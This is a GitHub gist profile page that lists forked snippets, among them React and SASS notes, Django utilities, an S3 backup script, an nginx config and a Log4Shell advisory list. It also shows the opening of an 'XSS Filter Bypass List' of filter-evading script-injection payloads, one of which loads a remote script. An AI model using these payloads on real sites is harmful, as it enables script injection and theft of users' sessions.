Skip to content

Instantly share code, notes, and snippets.

View KTZgraph's full-sized avatar
🎯
Focusing on React, UX, UI

KTZgraph

🎯
Focusing on React, UX, UI
View GitHub Profile
@KTZgraph
KTZgraph / OnBlurComponent.jsx
Created February 18, 2023 19:36 — forked from pstoica/OnBlurComponent.jsx
onBlur for entire react element
function OnBlurComponent({ onBlur }) {
const handleBlur = (e) => {
const currentTarget = e.currentTarget;
// Check the newly focused element in the next tick of the event loop
setTimeout(() => {
// Check if the new activeElement is a child of the original container
if (!currentTarget.contains(document.activeElement)) {
// You can invoke a callback or add custom logic here
onBlur();
@KTZgraph
KTZgraph / bem-and-sass.md
Created September 12, 2022 12:10 — forked from radist2s/bem-and-sass.md
BEM & SASS best practices

BEM & SASS best practices

Every block should be in separated file named as block.

Filename: rating-star.scss

.rating-star {
    $font-size: 0.5em;
    
    display: inline-block; // `display` style may be set freely
@KTZgraph
KTZgraph / 20211210-TLP-WHITE_LOG4J.md
Created December 13, 2021 13:04 — forked from SwitHak/20211210-TLP-WHITE_LOG4J.md
BlueTeam CheatSheet * Log4Shell* | Last updated: 2021-12-12 2204 UTC

Security Advisories / Bulletins linked to Log4Shell (CVE-2021-44228)

Errors, typos, something to say ?

  • If you want to add a link, comment or send it to me
  • Feel free to report any mistake directly below in the comment or in DM on Twitter @SwitHak

Other great ressources

# -*- coding: utf-8 -*-
import json
import requests
import re
import random
import urllib
import lxml.html
import bs4
import sys
reload(sys)
@KTZgraph
KTZgraph / xxsfilterbypass.lst
Created January 11, 2021 23:38 — forked from rvrsh3ll/xxsfilterbypass.lst
XSS Filter Bypass List
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
@KTZgraph
KTZgraph / README.md
Created October 12, 2020 13:35 — forked from enjalot/README.md
Libraries used in bl.ocks

A dump of 2000+ libraries found in the 14,000+ blocks we have indexed.

I parse the html files of all the blocks with this code.

It would be nice to have a structured way to pull the version out of this variety of URL patterns. Perhaps someone will come up with a crazy regex that does it.

This is likely the first step to indexing the library version for blockbuilder search. We have an issue for this tracked here.

Built with blockbuilder.org

@KTZgraph
KTZgraph / hash_benchmark.py
Created September 27, 2020 16:54 — forked from ipmb/hash_benchmark.py
Test speeds of different Django password hashing functions
#!/usr/bin/env python
import os
import time
from django.contrib.auth.hashers import make_password
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'settings')
class Timer(object):
def __init__(self, name, iterations):
self.name = name
import logging
from functools import wraps
from django.core.cache.backends.memcached import PyLibMCCache
logger = logging.getLogger(__name__)
def fault_tolerant_wrapper(f):
@wraps(f)
def wrapper(*args, **kwargs):
@KTZgraph
KTZgraph / s3_backup.py
Created September 27, 2020 16:54 — forked from ipmb/s3_backup.py
#!/usr/bin/env python
import datetime
import fnmatch
from functools import partial
import gzip
import json
import os
import shutil
import socket
@KTZgraph
KTZgraph / nginx.conf
Created September 27, 2020 16:54 — forked from ipmb/nginx.conf
Hack to put Google auth in front of Kibana and ES
upstream elasticsearch {
# google auth proxy -> elasticsearch
server 127.0.0.1:9201;
}
server {
root /path/to/kibana;
# insert standard Nginx boilerplate...